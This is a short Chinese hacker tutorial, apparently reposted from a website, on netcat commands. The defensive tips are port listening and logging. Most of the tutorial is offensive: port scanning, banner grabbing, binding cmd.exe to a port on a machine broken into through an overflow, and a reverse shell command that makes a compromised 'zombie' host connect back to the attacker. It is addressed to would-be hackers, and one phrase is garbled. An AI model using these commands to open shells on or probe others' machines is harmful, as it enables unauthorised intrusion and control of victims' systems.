在网上看到了关于NC文章，引起了我的一番兴趣，研究了好久，将心得拿出来与大家分享：NC被誉为黑客界的元老级工具，所以我认为所有想做黑客的人必须掌握他参数解释：-e 程序重定向-t 用telnet来回应-l 监听本地端口-p 指定本地端口-v 获得端口信息-vv 获得详细的端口信息-z 关闭输入输出-n 指定IP地址-w 设定超时时间-u UDP端口我就知道这么些参数 了：第一个:nc -l -v -p 7626这就是打开本地的7626端口进行监听，并反馈连接信息这样如果有扫描冰河木马的人会认为你中了木马开放了7626，和“小猪快跑”的功能有点象，再加个批处理文件一起用的话就是一个“小猪快跑”了如果要监视是否有入侵本地80端口的行为，并记下来，用这个命令：nc -l -p 80 >>c:\\日志.dat这样，凡是有针对本机80端口的攻击都会被记录下来的二、如果你通过溢出进入了别人的机器，就可以运行：nc -l -p 123 -e cmd.exe或者是: nc -l -p 123 -t作用都是以cmd.exe来响应到机器上123端口的连接这样就把溢出的主机变成了一台telnet肉鸡了啊你也可一用命令让肉鸡主动连接你的主机,假设我的IP是192.168.0.1在肉鸡上运行： nc -e cmd.exe 192.168.0.1 777再在本地机器上运行： nc -l -p 777意思是让肉鸡将cmd.exe(就是个shell)主动响应到你电脑的777端口你再在本地机上监听777端口，这样就进入了对方的cmd了这也微十时毫 反弹端口式木马的原理了。三、用这个命令：nc -v 192.168.0.25 80就获得了192.168.0.25的80端口的信息可以获得IIS版本等很多重要信息的四、你也可以将NC作为扫描器使用：nc -v -z 192.168.0.25 1-100扫描192.168.0.25的1到100间的TCP端口用nc -v -z -u 192.168.0.25 1-100这是扫描1到00间的UDP端口以上就是我所了解到的！～
（出处：http://www.sheup.com）